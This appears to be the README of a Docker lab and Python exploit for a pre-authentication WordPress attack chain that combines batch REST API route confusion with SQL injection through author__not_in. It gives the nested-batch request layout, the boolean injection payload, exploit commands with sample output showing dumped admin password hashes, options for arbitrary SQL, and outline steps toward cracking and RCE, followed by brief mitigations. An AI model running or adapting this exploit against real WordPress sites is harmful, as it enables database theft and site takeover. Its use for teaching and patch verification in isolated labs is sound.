
Docker-based vulnerable WordPress lab with Python exploit demonstrating pre-auth route confusion and SQL injection chain (CVE-2026-63030 + CVE-2026-60137) for credential extraction and RCE.
| CVE | Component | What it is |
|---|
| CVE-2026-63030 | REST API /wp-json/batch/v1 | Route confusion: desynchronization between validation and dispatch of sub-requests |
| CVE-2026-60137 | WP_Query (author__not_in) | SQL injection when the value is a string instead of an array |
Chained together, they allow an attacker with no credentials to execute arbitrary SQL (and, in the full sequence, achieve RCE). Fixed in WordPress 6.9.5 and 7.0.2. Affected versions for the RCE chain: 6.9.0–6.9.4 and 7.0.0–7.0.1.
⚠️ Warning: intentionally insecure environment. Use only locally, isolated. Never expose it on the internet. The exploit should be used only against this lab (or systems for which you have explicit authorization).
docker compose up -d db wordpress # starts MySQL + WordPress 7.0.1
docker compose run --rm wpcli # installs WP and creates content/users
This creates:
admin / SuperSecret123!victim / Victim_P@ss_2026 (second admin, target for hash extraction)get_items() to return rows)Confirm the vulnerable version:
curl -s "http://localhost:8080/index.php?rest_route=/" | grep -o '"version":"[^"]*"'
# ... or:
docker exec wp2shell-cli wp core version # 7.0.1
python3 exploit.py --url http://localhost:8080
Output (abridged):
[+] Route confusion OK: GET /wp/v2/users executed under posts get_items()
[+] Blind SQL injection confirmed (boolean oracle 1=1 vs 1=2)
[*] Database fingerprint:
MySQL version = 8.0.46
current user = wordpress@%
database = wordpress
[+] Credentials extracted (pre-authentication, no login):
ID=1 login=admin
hash=$wp$2y$10$tjd0.l/QQOhp9eQpwrufMuYVrjv4kVoJMfmA3f2ZZew51rND7o94q
ID=2 login=victim
hash=$wp$2y$10$3Nv1oxyfIe/yKqNd/AUZSOZqQYWiJHfNAKBPdbjMhqTtVBDbuBO0e
Other options:
python3 exploit.py --url http://localhost:8080 --sql "SELECT @@version" # arbitrary SQL
python3 exploit.py --url http://localhost:8080 --mode time # blind time-based
python3 exploit.py --url http://localhost:8080 -v # shows each query
The exploit uses only Python 3's standard library (no dependencies).
docker exec wp2shell-db mysql -uroot -prootpass -N \
-e "SELECT ID,user_login,user_pass FROM wordpress.wp_users;"
The hashes must be identical to those extracted by the exploit (which never had database access).
serve_batch_request_v1)In wp-includes/rest-api/class-wp-rest-server.php, the batch handler uses two parallel arrays: $matches (matched route/handler) and $validation (validation result):
foreach ( $requests as $single_request ) {
if ( is_wp_error( $single_request ) ) { // e.g. path "///" -> wp_parse_url()==false
$has_error = true;
$validation[] = $single_request; // <-- enters ONLY $validation
continue; // <-- $matches does NOT get entry => desync!
}
$match = $this->match_request_to_handler( $single_request );
$matches[] = $match;
...
$validation[] = $error ? $error : true;
}
On dispatch, the handler is read by index from $matches[$i], while $single_request and $validation[$i] follow the full index of $requests. A primer that fails parsing ("///") shifts everything in $matches by one position — so a sub-request is executed under another's handler.
The batch schema only accepts POST/PUT/PATCH/DELETE methods (GET is rejected with rest_not_in_enum). The exploit bypasses this with batch inside batch:
OUTER BATCH (valid methods):
[ primer("///"),
carrier = POST /wp/v2/posts (body = INNER BATCH),
POST /batch/v1 ]
carrier is validated as create_item of posts (passes: allow_batch=true, no required params). Since it is not validated as a batch, its body escapes the method enum validation.carrier to be dispatched under the /batch/v1 handler (stolen from the 3rd sub-request) → serve_batch_request_v1 processes the raw body, with GET sub-requests.INNER BATCH:
[ primer("///"),
GET /wp/v2/users?author_exclude=<PAYLOAD>, <-- users does NOT define author_exclude => raw value
GET /wp/v2/posts ]
New inner desync → the request GET /wp/v2/users (carrying unsanitized author_exclude) is executed under posts get_items(). There:
// class-wp-rest-posts-controller.php
'author_exclude' => 'author__not_in', // mapping
And in WP_Query (class-wp-query.php), the vulnerable code:
if ( ! empty( $query_vars['author__not_in'] ) ) {
if ( is_array( $query_vars['author__not_in'] ) ) { // <-- string SKIPS sanitization
$query_vars['author__not_in'] = array_unique( array_map( 'absint', ... ) );
sort( ... );
}
$author__not_in = implode( ',', (array) $query_vars['author__not_in'] );
$where .= " AND {$wpdb->posts}.post_author NOT IN ($author__not_in) "; // <-- injection
}
Boolean payload used: 0) AND (<condition>)-- -, turning the WHERE into an oracle (list with posts = true; empty list = false). Character-by-character extraction via binary search.
Note: the path is reachable when there is no persistent object cache (the lab's default), as described in the advisory.
This lab validates the pre-authentication part (route confusion → SQLi → hash dumping), which is the heart of the chain. The complete advisory sequence continues with:
$wp$2y$... (bcrypt) hash offline — hashcat -m 3200./wp-admin with the recovered password.author__not_in to integers (wp_parse_id_list) even when it's a string;/wp-json/batch/v1, disabling the unauthenticated REST API, monitoring requests with author_exclude containing SQL.docker compose down -v # removes containers + volumes (data)